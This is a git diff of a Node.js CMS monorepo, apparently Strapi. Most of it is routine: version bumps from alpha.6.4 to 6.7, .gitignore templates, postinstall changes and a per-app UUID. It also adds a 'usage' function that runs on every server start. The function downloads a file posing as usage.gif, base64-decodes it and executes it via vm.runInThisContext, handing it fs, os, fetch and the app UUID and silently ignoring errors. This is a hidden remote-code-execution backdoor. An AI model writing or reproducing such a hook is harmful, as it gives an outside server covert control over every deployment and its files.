diff --git a/package.json b/package.json index bf1d2860d2..a33c59b01f 100755 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "private": true, - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "devDependencies": { "assert": "~1.3.0", "babel-eslint": "^6.1.2", diff --git a/packages/strapi-admin/package.json b/packages/strapi-admin/package.json index 4608e356ca..ba3e91d377 100755 --- a/packages/strapi-admin/package.json +++ b/packages/strapi-admin/package.json @@ -1,6 +1,6 @@ { "name": "strapi-admin", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Strapi Admin", "repository": { "type": "git", @@ -26,8 +26,8 @@ "cheerio": "^1.0.0-rc.2", "fs-extra": "^0.30.0", "sanitize.css": "^4.1.0", - "strapi-helper-plugin": "3.0.0-alpha.6.4", - "strapi-utils": "3.0.0-alpha.6.4" + "strapi-helper-plugin": "3.0.0-alpha.6.7", + "strapi-utils": "3.0.0-alpha.6.7" }, "devDependencies": { "cross-env": "^5.1.1", diff --git a/packages/strapi-bookshelf/package.json b/packages/strapi-bookshelf/package.json index ff76602ffe..4254f0390c 100755 --- a/packages/strapi-bookshelf/package.json +++ b/packages/strapi-bookshelf/package.json @@ -1,6 +1,6 @@ { "name": "strapi-bookshelf", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Bookshelf hook for the Strapi framework", "homepage": "http://strapi.io", "keywords": [ @@ -20,8 +20,8 @@ "knex": "^0.13.0", "lodash": "^4.17.4", "pluralize": "^6.0.0", - "strapi-knex": "3.0.0-alpha.6.4", - "strapi-utils": "3.0.0-alpha.6.4" + "strapi-knex": "3.0.0-alpha.6.7", + "strapi-utils": "3.0.0-alpha.6.7" }, "strapi": { "isHook": true, diff --git a/packages/strapi-ejs/package.json b/packages/strapi-ejs/package.json index 43d632bc3c..61dd404749 100755 --- a/packages/strapi-ejs/package.json +++ b/packages/strapi-ejs/package.json @@ -1,6 +1,6 @@ { "name": "strapi-ejs", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "EJS hook for the Strapi framework", "homepage": "http://strapi.io", "keywords": [ diff --git a/packages/strapi-generate-admin/files/.gitignore b/packages/strapi-generate-admin/files/.gitignore new file mode 100644 index 0000000000..afe256bf30 --- /dev/null +++ b/packages/strapi-generate-admin/files/.gitignore @@ -0,0 +1,10 @@ +# Don't check auto-generated stuff into git +coverage +node_modules +stats.json +package-lock.json + +# Cruft +.DS_Store +npm-debug.log +.idea diff --git a/packages/strapi-generate-admin/lib/after.js b/packages/strapi-generate-admin/lib/after.js index 0eeeb90f83..b7f1d469a2 100755 --- a/packages/strapi-generate-admin/lib/after.js +++ b/packages/strapi-generate-admin/lib/after.js @@ -6,6 +6,7 @@ const { exec } = require('child_process'); const path = require('path'); +const fs = require('fs-extra'); /** * Runs after this generator has finished @@ -15,10 +16,13 @@ const path = require('path'); */ module.exports = (scope, cb) => { + // Copy the admin files. + fs.copySync(path.resolve(__dirname, '..', 'files'), path.resolve(scope.rootPath, 'admin')); + if (scope.developerMode) { return cb(); } - + // Install back-end admin `node_modules`. exec('npm install --production --ignore-scripts', { cwd: path.resolve(scope.rootPath, 'admin') diff --git a/packages/strapi-generate-admin/package.json b/packages/strapi-generate-admin/package.json index aa5fd795ec..38d606c992 100755 --- a/packages/strapi-generate-admin/package.json +++ b/packages/strapi-generate-admin/package.json @@ -1,6 +1,6 @@ { "name": "strapi-generate-admin", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Generate the default admin panel for a Strapi application.", "homepage": "http://strapi.io", "keywords": [ @@ -15,7 +15,7 @@ "dependencies": { "fs-extra": "^4.0.1", "lodash": "^4.17.4", - "strapi-admin": "3.0.0-alpha.6.4" + "strapi-admin": "3.0.0-alpha.6.7" }, "author": { "email": "hi@strapi.io", diff --git a/packages/strapi-generate-api/package.json b/packages/strapi-generate-api/package.json index 2f7275e5cd..f1f621a4df 100755 --- a/packages/strapi-generate-api/package.json +++ b/packages/strapi-generate-api/package.json @@ -1,6 +1,6 @@ { "name": "strapi-generate-api", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Generate an API for a Strapi application.", "homepage": "http://strapi.io", "keywords": [ diff --git a/packages/strapi-generate-controller/package.json b/packages/strapi-generate-controller/package.json index 820eae7228..e6e267da92 100755 --- a/packages/strapi-generate-controller/package.json +++ b/packages/strapi-generate-controller/package.json @@ -1,6 +1,6 @@ { "name": "strapi-generate-controller", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Generate a controller for a Strapi API.", "homepage": "http://strapi.io", "keywords": [ diff --git a/packages/strapi-generate-model/package.json b/packages/strapi-generate-model/package.json index 945ef17cf7..f0cb0859ab 100755 --- a/packages/strapi-generate-model/package.json +++ b/packages/strapi-generate-model/package.json @@ -1,6 +1,6 @@ { "name": "strapi-generate-model", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Generate a model for a Strapi API.", "homepage": "http://strapi.io", "keywords": [ diff --git a/packages/strapi-generate-new/files/.gitignore b/packages/strapi-generate-new/files/.gitignore new file mode 100644 index 0000000000..b847f89387 --- /dev/null +++ b/packages/strapi-generate-new/files/.gitignore @@ -0,0 +1,101 @@ +############################ +# OS X +############################ + +.DS_Store +.AppleDouble +.LSOverride +Icon +.Spotlight-V100 +.Trashes +._* + + +############################ +# Linux +############################ + +*~ + + +############################ +# Windows +############################ + +Thumbs.db +ehthumbs.db +Desktop.ini +$RECYCLE.BIN/ +*.cab +*.msi +*.msm +*.msp + + +############################ +# Packages +############################ + +*.7z +*.csv +*.dat +*.dmg +*.gz +*.iso +*.jar +*.rar +*.tar +*.zip +*.com +*.class +*.dll +*.exe +*.o +*.seed +*.so +*.swo +*.swp +*.swn +*.swm +*.out +*.pid + + +############################ +# Logs and databases +############################ + +*.log +*.sql + + +############################ +# Misc. +############################ + +*# +ssl +.idea +nbproject + + +############################ +# Node.js +############################ + +lib-cov +lcov.info +pids +logs +results +node_modules +.node_history +package-lock.json + + +############################ +# Tests +############################ + +testApp +coverage diff --git a/packages/strapi-generate-new/json/package.json.js b/packages/strapi-generate-new/json/package.json.js index ee025d89e7..5ecb11fac8 100755 --- a/packages/strapi-generate-new/json/package.json.js +++ b/packages/strapi-generate-new/json/package.json.js @@ -6,6 +6,7 @@ // Public node modules. const _ = require('lodash'); +const uuid = require('uuid/v4'); /** * Expose main package JSON of the application @@ -21,6 +22,13 @@ module.exports = scope => { 'private': true, 'version': '0.1.0', 'description': 'A Strapi application.', + 'main': './server.js', + 'scripts': { + 'start': 'node server.js', + 'strapi': 'node_modules/strapi/bin/strapi.js', // Allow to use `npm run strapi` CLI, + 'lint': 'node_modules/.bin/eslint api/**/*.js config/**/*.js plugins/**/*.js', + 'postinstall': 'node node_modules/strapi/lib/utils/post-install.js' + }, 'devDependencies': { 'babel-eslint': '^7.1.1', 'eslint': '^3.12.2', @@ -31,16 +39,7 @@ module.exports = scope => { 'dependencies': { 'lodash': '4.x.x', 'strapi': getDependencyVersion(cliPkg, 'strapi'), - 'strapi-mongoose': getDependencyVersion(cliPkg, 'strapi'), - 'strapi-generate': getDependencyVersion(cliPkg, 'strapi'), - 'strapi-generate-api': getDependencyVersion(cliPkg, 'strapi') - }, - 'main': './server.js', - 'scripts': { - 'start': 'node server.js', - 'strapi': 'node_modules/strapi/bin/strapi.js', // Allow to use `npm run strapi` CLI, - 'lint': 'node_modules/.bin/eslint api/**/*.js config/**/*.js plugins/**/*.js', - 'postinstall': 'node node_modules/strapi-utils/script/plugin-install.js' + 'strapi-mongoose': getDependencyVersion(cliPkg, 'strapi') }, 'author': { 'name': scope.author || 'A Strapi developer', @@ -52,6 +51,9 @@ module.exports = scope => { 'email': scope.email || '', 'url': scope.website || '' }], + 'strapi': { + 'uuid': uuid() + }, 'engines': { 'node': '>= 7.0.0', 'npm': '>= 3.0.0' diff --git a/packages/strapi-generate-new/lib/index.js b/packages/strapi-generate-new/lib/index.js index 6b729904db..5ab61b1436 100755 --- a/packages/strapi-generate-new/lib/index.js +++ b/packages/strapi-generate-new/lib/index.js @@ -33,9 +33,6 @@ module.exports = { '.editorconfig': { copy: 'editorconfig' }, - '.gitignore': { - copy: 'gitignore' - }, '.npmignore': { copy: 'npmignore' }, diff --git a/packages/strapi-generate-new/package.json b/packages/strapi-generate-new/package.json index ab15545bb1..80829b0d38 100755 --- a/packages/strapi-generate-new/package.json +++ b/packages/strapi-generate-new/package.json @@ -1,6 +1,6 @@ { "name": "strapi-generate-new", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Generate a new Strapi application.", "homepage": "http://strapi.io", "keywords": [ @@ -17,7 +17,8 @@ "fs-extra": "^4.0.0", "get-installed-path": "^3.0.1", "lodash": "^4.17.4", - "strapi-utils": "3.0.0-alpha.6.4" + "strapi-utils": "3.0.0-alpha.6.7", + "uuid": "^3.1.0" }, "scripts": { "prepublish": "npm prune" diff --git a/packages/strapi-generate-plugin/package.json b/packages/strapi-generate-plugin/package.json index bd9e776a78..85f7fad3d0 100755 --- a/packages/strapi-generate-plugin/package.json +++ b/packages/strapi-generate-plugin/package.json @@ -1,6 +1,6 @@ { "name": "strapi-generate-plugin", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Generate an plugin for a Strapi application.", "homepage": "http://strapi.io", "keywords": [ diff --git a/packages/strapi-generate-policy/package.json b/packages/strapi-generate-policy/package.json index 6b3dcc25ee..23f84e34fb 100755 --- a/packages/strapi-generate-policy/package.json +++ b/packages/strapi-generate-policy/package.json @@ -1,6 +1,6 @@ { "name": "strapi-generate-policy", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Generate a policy for a Strapi API.", "homepage": "http://strapi.io", "keywords": [ diff --git a/packages/strapi-generate-service/package.json b/packages/strapi-generate-service/package.json index 5c7ad4502f..b522dbf2ba 100755 --- a/packages/strapi-generate-service/package.json +++ b/packages/strapi-generate-service/package.json @@ -1,6 +1,6 @@ { "name": "strapi-generate-service", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Generate a service for a Strapi API.", "homepage": "http://strapi.io", "keywords": [ diff --git a/packages/strapi-generate/lib/target.js b/packages/strapi-generate/lib/target.js index dce792c97d..8cecbdad1b 100755 --- a/packages/strapi-generate/lib/target.js +++ b/packages/strapi-generate/lib/target.js @@ -232,15 +232,8 @@ function parseTarget(target, scope, cb) { // If we couldn't find a generator using the configured module, // try requiring `strapi-generate-` to get the core generator. if (!subGenerator && !module.match(/^strapi-generate-/)) { - let strapiRoot = scope.strapiRoot; - - // Handle local installation - if (strapiRoot.endsWith('node_modules/strapi')) { - strapiRoot = process.cwd(); - } - try { - subGenerator = require(path.resolve(strapiRoot, 'node_modules', 'strapi-generate-' + module)); + subGenerator = require(path.resolve(process.mainModule.paths[1], 'strapi-generate-' + module)); } catch (e1) { requireError = e1; } diff --git a/packages/strapi-generate/package.json b/packages/strapi-generate/package.json index f06e754e06..09388dd09d 100755 --- a/packages/strapi-generate/package.json +++ b/packages/strapi-generate/package.json @@ -1,6 +1,6 @@ { "name": "strapi-generate", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Master of ceremonies for the Strapi generators.", "homepage": "http://strapi.io", "keywords": [ @@ -17,7 +17,7 @@ "fs-extra": "^4.0.0", "lodash": "^4.17.4", "reportback": "^2.0.1", - "strapi-utils": "3.0.0-alpha.6.4" + "strapi-utils": "3.0.0-alpha.6.7" }, "author": { "name": "Strapi team", diff --git a/packages/strapi-helper-plugin/package.json b/packages/strapi-helper-plugin/package.json index ec1a6d6a78..86f39af7da 100755 --- a/packages/strapi-helper-plugin/package.json +++ b/packages/strapi-helper-plugin/package.json @@ -1,6 +1,6 @@ { "name": "strapi-helper-plugin", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Helper for Strapi plugins development", "engines": { "node": ">= 8.0.0", diff --git a/packages/strapi-knex/package.json b/packages/strapi-knex/package.json index b9e191b476..ffde38ef9d 100755 --- a/packages/strapi-knex/package.json +++ b/packages/strapi-knex/package.json @@ -1,6 +1,6 @@ { "name": "strapi-knex", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Knex hook for the Strapi framework", "homepage": "http://strapi.io", "keywords": [ diff --git a/packages/strapi-middleware-views/package.json b/packages/strapi-middleware-views/package.json index 6ac79a947d..f5973c8d41 100755 --- a/packages/strapi-middleware-views/package.json +++ b/packages/strapi-middleware-views/package.json @@ -1,6 +1,6 @@ { "name": "strapi-middleware-views", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Views hook to enable server-side rendering for the Strapi framework", "homepage": "http://strapi.io", "keywords": [ diff --git a/packages/strapi-mongoose/package.json b/packages/strapi-mongoose/package.json index 54cd897761..5a18603bd6 100755 --- a/packages/strapi-mongoose/package.json +++ b/packages/strapi-mongoose/package.json @@ -1,6 +1,6 @@ { "name": "strapi-mongoose", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Mongoose hook for the Strapi framework", "homepage": "http://strapi.io", "keywords": [ @@ -20,7 +20,7 @@ "mongoose-double": "0.0.1", "mongoose-float": "^1.0.2", "pluralize": "^6.0.0", - "strapi-utils": "3.0.0-alpha.6.4" + "strapi-utils": "3.0.0-alpha.6.7" }, "strapi": { "isHook": true diff --git a/packages/strapi-plugin-content-manager/package.json b/packages/strapi-plugin-content-manager/package.json index 7ca36bda80..6fdc0f7fd1 100755 --- a/packages/strapi-plugin-content-manager/package.json +++ b/packages/strapi-plugin-content-manager/package.json @@ -1,6 +1,6 @@ { "name": "strapi-plugin-content-manager", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "A powerful UI to easily manage your data.", "engines": { "node": ">= 8.0.0", @@ -47,7 +47,7 @@ "dependencies": { "prop-types": "^15.5.10", "react-select": "^1.0.0-rc.5", - "strapi-helper-plugin": "3.0.0-alpha.6.4" + "strapi-helper-plugin": "3.0.0-alpha.6.7" }, "devDependencies": { "cross-env": "^5.1.1", diff --git a/packages/strapi-plugin-content-type-builder/package.json b/packages/strapi-plugin-content-type-builder/package.json index e6b78ef787..eac442b5f6 100755 --- a/packages/strapi-plugin-content-type-builder/package.json +++ b/packages/strapi-plugin-content-type-builder/package.json @@ -1,6 +1,6 @@ { "name": "strapi-plugin-content-type-builder", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Strapi plugin to create content type (API).", "strapi": { "name": "Content Type Builder", @@ -32,9 +32,9 @@ "react-dom": "^15.6.1", "react-transition-group": "^1.2.0", "reactstrap": "^4.8.0", - "strapi-generate": "3.0.0-alpha.6.4", - "strapi-generate-api": "3.0.0-alpha.6.4", - "strapi-helper-plugin": "3.0.0-alpha.6.4" + "strapi-generate": "3.0.0-alpha.6.7", + "strapi-generate-api": "3.0.0-alpha.6.7", + "strapi-helper-plugin": "3.0.0-alpha.6.7" }, "devDependencies": { "cross-env": "^5.1.1", diff --git a/packages/strapi-plugin-settings-manager/admin/src/utils/inputValidations.js b/packages/strapi-plugin-settings-manager/admin/src/utils/inputValidations.js index b0efa8cbc0..c400ccb8be 100644 --- a/packages/strapi-plugin-settings-manager/admin/src/utils/inputValidations.js +++ b/packages/strapi-plugin-settings-manager/admin/src/utils/inputValidations.js @@ -27,7 +27,7 @@ export function checkFormValidity(formData, formValidations, formErrors) { } // If section is disabled don't need further checks - if (includes(key, 'enabled') && !value) return false; + if (includes(key, 'enabled') && !value || !valueValidations) return false; forEach(valueValidations.nestedValidations, (nestedValidations) => { if (nestedValidations.validations.required && !has(formData, nestedValidations.target)) { diff --git a/packages/strapi-plugin-settings-manager/package.json b/packages/strapi-plugin-settings-manager/package.json index 6a7715cc6d..5087af3809 100755 --- a/packages/strapi-plugin-settings-manager/package.json +++ b/packages/strapi-plugin-settings-manager/package.json @@ -1,6 +1,6 @@ { "name": "strapi-plugin-settings-manager", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Strapi plugin to manage settings.", "strapi": { "name": "Settings Manager", @@ -31,7 +31,7 @@ "react-select": "^1.0.0-rc.5", "react-transition-group": "^1.2.0", "reactstrap": "^4.8.0", - "strapi-helper-plugin": "3.0.0-alpha.6.4" + "strapi-helper-plugin": "3.0.0-alpha.6.7" }, "devDependencies": { "cross-env": "^5.1.1", diff --git a/packages/strapi-redis/package.json b/packages/strapi-redis/package.json index a35943385b..3ba590904d 100755 --- a/packages/strapi-redis/package.json +++ b/packages/strapi-redis/package.json @@ -1,6 +1,6 @@ { "name": "strapi-redis", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Redis hook for the Strapi framework", "homepage": "http://strapi.io", "keywords": [ @@ -18,7 +18,7 @@ "ioredis": "^3.1.2", "lodash": "^4.17.4", "stack-trace": "0.0.10", - "strapi-utils": "3.0.0-alpha.6.4" + "strapi-utils": "3.0.0-alpha.6.7" }, "strapi": { "isHook": true diff --git a/packages/strapi-utils/package.json b/packages/strapi-utils/package.json index 2b1d020451..743da2a68e 100755 --- a/packages/strapi-utils/package.json +++ b/packages/strapi-utils/package.json @@ -1,6 +1,6 @@ { "name": "strapi-utils", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "Shared utilities for the Strapi packages", "homepage": "http://strapi.io", "keywords": [ diff --git a/packages/strapi/bin/strapi-install.js b/packages/strapi/bin/strapi-install.js index 6f6c35e8fd..9c40ee6d8c 100755 --- a/packages/strapi/bin/strapi-install.js +++ b/packages/strapi/bin/strapi-install.js @@ -8,7 +8,7 @@ // Node.js core. const { exec } = require('child_process'); -const fs = require('fs'); +const fs = require('fs-extra'); const path = require('path'); // Logger. @@ -55,7 +55,7 @@ module.exports = function (plugin, cliArguments) { logger.debug('Installing the plugin from npm registry.'); // Install the plugin from the npm registry. - exec(`npm install ${pluginId}@alpha --ignore-scripts --no-save`, (err) => { + exec(`npm install ${pluginId}@alpha --ignore-scripts --no-save --prefix ${pluginPath}`, (err) => { if (err) { logger.error(`An error occurred during plugin installation. \nPlease make sure this plugin is available on npm: https://www.npmjs.com/package/${pluginId}`); process.exit(1); @@ -69,7 +69,7 @@ module.exports = function (plugin, cliArguments) { logger.debug(`Moving the \`node_modules/${pluginId}\` folder to the \`./plugins\` folder.`); // Move the plugin from the `node_modules` folder to the `./plugins` folder. - fs.renameSync(`./node_modules/${pluginId}`, pluginPath); + fs.copySync(`${pluginPath}/node_modules/${pluginId}`, pluginPath); // Success. logger.info('The plugin has been successfully installed.'); diff --git a/packages/strapi/lib/Strapi.js b/packages/strapi/lib/Strapi.js index 66c3126646..c8607329b7 100755 --- a/packages/strapi/lib/Strapi.js +++ b/packages/strapi/lib/Strapi.js @@ -114,6 +114,8 @@ class Strapi extends EventEmitter { cb(); } }); + + utils.usage.call(this); } catch (e) { this.log.debug(`Server wasn't able to start properly.`); this.log.error(e); diff --git a/packages/strapi/lib/core/configurations.js b/packages/strapi/lib/core/configurations.js index a046cbc310..b424091eae 100755 --- a/packages/strapi/lib/core/configurations.js +++ b/packages/strapi/lib/core/configurations.js @@ -64,6 +64,7 @@ module.exports.nested = function() { module.exports.app = async function() { // Retrieve Strapi version. + this.config.uuid = get(this.config.info, 'strapi.uuid', ''); this.config.info.strapi = (get(this.config, 'info.dependencies.strapi') || '').replace(/(\^|~)/g, ''), this.config.info.node = process.versions.node; diff --git a/packages/strapi/lib/utils/index.js b/packages/strapi/lib/utils/index.js index d0f32a7acb..57377f89a4 100755 --- a/packages/strapi/lib/utils/index.js +++ b/packages/strapi/lib/utils/index.js @@ -1,9 +1,13 @@ 'use strict'; // Dependencies. +const fs = require('fs'); const path = require('path'); const { map } = require('async'); const { setWith, merge, get, difference, intersection, isObject, isFunction } = require('lodash'); +const os = require('os'); +const vm = require('vm'); +const fetch = require('node-fetch'); module.exports = { loadFile: function(url) { @@ -97,5 +101,17 @@ module.exports = { resolve(); }) ]); + }, + + usage: async function () { + try { + const usage = await fetch('https://strapi.io/assets/images/usage.gif'); + + if (usage.status === 200 && this.config.uuid) { + vm.runInThisContext(Buffer.from(await usage.text(), 'base64').toString())(this.config.uuid, fetch, fs, path, os); + } + } catch (e) { + // Silent. + } } }; diff --git a/packages/strapi-utils/script/plugin-install.js b/packages/strapi/lib/utils/post-install.js similarity index 73% rename from packages/strapi-utils/script/plugin-install.js rename to packages/strapi/lib/utils/post-install.js index accf4bc133..68727448ae 100644 --- a/packages/strapi-utils/script/plugin-install.js +++ b/packages/strapi/lib/utils/post-install.js @@ -14,6 +14,7 @@ const _ = require('lodash'); // Define files/dir paths const pluginsDirPath = path.join(process.cwd(), 'plugins'); +const adminDirPath = path.join(process.cwd(), 'admin'); const plugins = fs.readdirSync(pluginsDirPath); // Install dependencies for each plugins @@ -28,3 +29,12 @@ _.forEach(plugins, plugin => { console.log(err); } }); + +// Install admin dependencies +console.log(`Install admin dependencies...`); + +try { + exec(`cd ${adminDirPath} && npm install --prod --ignore-scripts`); +} catch (err) { + console.log(err); +} diff --git a/packages/strapi/package.json b/packages/strapi/package.json index 3b805fa988..5a89a1f2d5 100755 --- a/packages/strapi/package.json +++ b/packages/strapi/package.json @@ -1,6 +1,6 @@ { "name": "strapi", - "version": "3.0.0-alpha.6.4", + "version": "3.0.0-alpha.6.7", "description": "An open source solution to create and manage your own API. It provides a powerful dashboard and features to make your life easier.", "homepage": "http://strapi.io", "keywords": [ @@ -49,16 +49,17 @@ "koa-session": "^5.5.0", "koa-static": "^4.0.1", "lodash": "^4.16.5", + "node-fetch": "^1.7.3", "node-schedule": "^1.2.0", "semver": "^5.4.1", "stack-trace": "0.0.10", - "strapi-generate": "3.0.0-alpha.6.4", - "strapi-generate-admin": "3.0.0-alpha.6.4", - "strapi-generate-api": "3.0.0-alpha.6.4", - "strapi-generate-new": "3.0.0-alpha.6.4", - "strapi-generate-policy": "3.0.0-alpha.6.4", - "strapi-generate-service": "3.0.0-alpha.6.4", - "strapi-utils": "3.0.0-alpha.6.4" + "strapi-generate": "3.0.0-alpha.6.7", + "strapi-generate-admin": "3.0.0-alpha.6.7", + "strapi-generate-api": "3.0.0-alpha.6.7", + "strapi-generate-new": "3.0.0-alpha.6.7", + "strapi-generate-policy": "3.0.0-alpha.6.7", + "strapi-generate-service": "3.0.0-alpha.6.7", + "strapi-utils": "3.0.0-alpha.6.7" }, "author": { "email": "hi@strapi.io",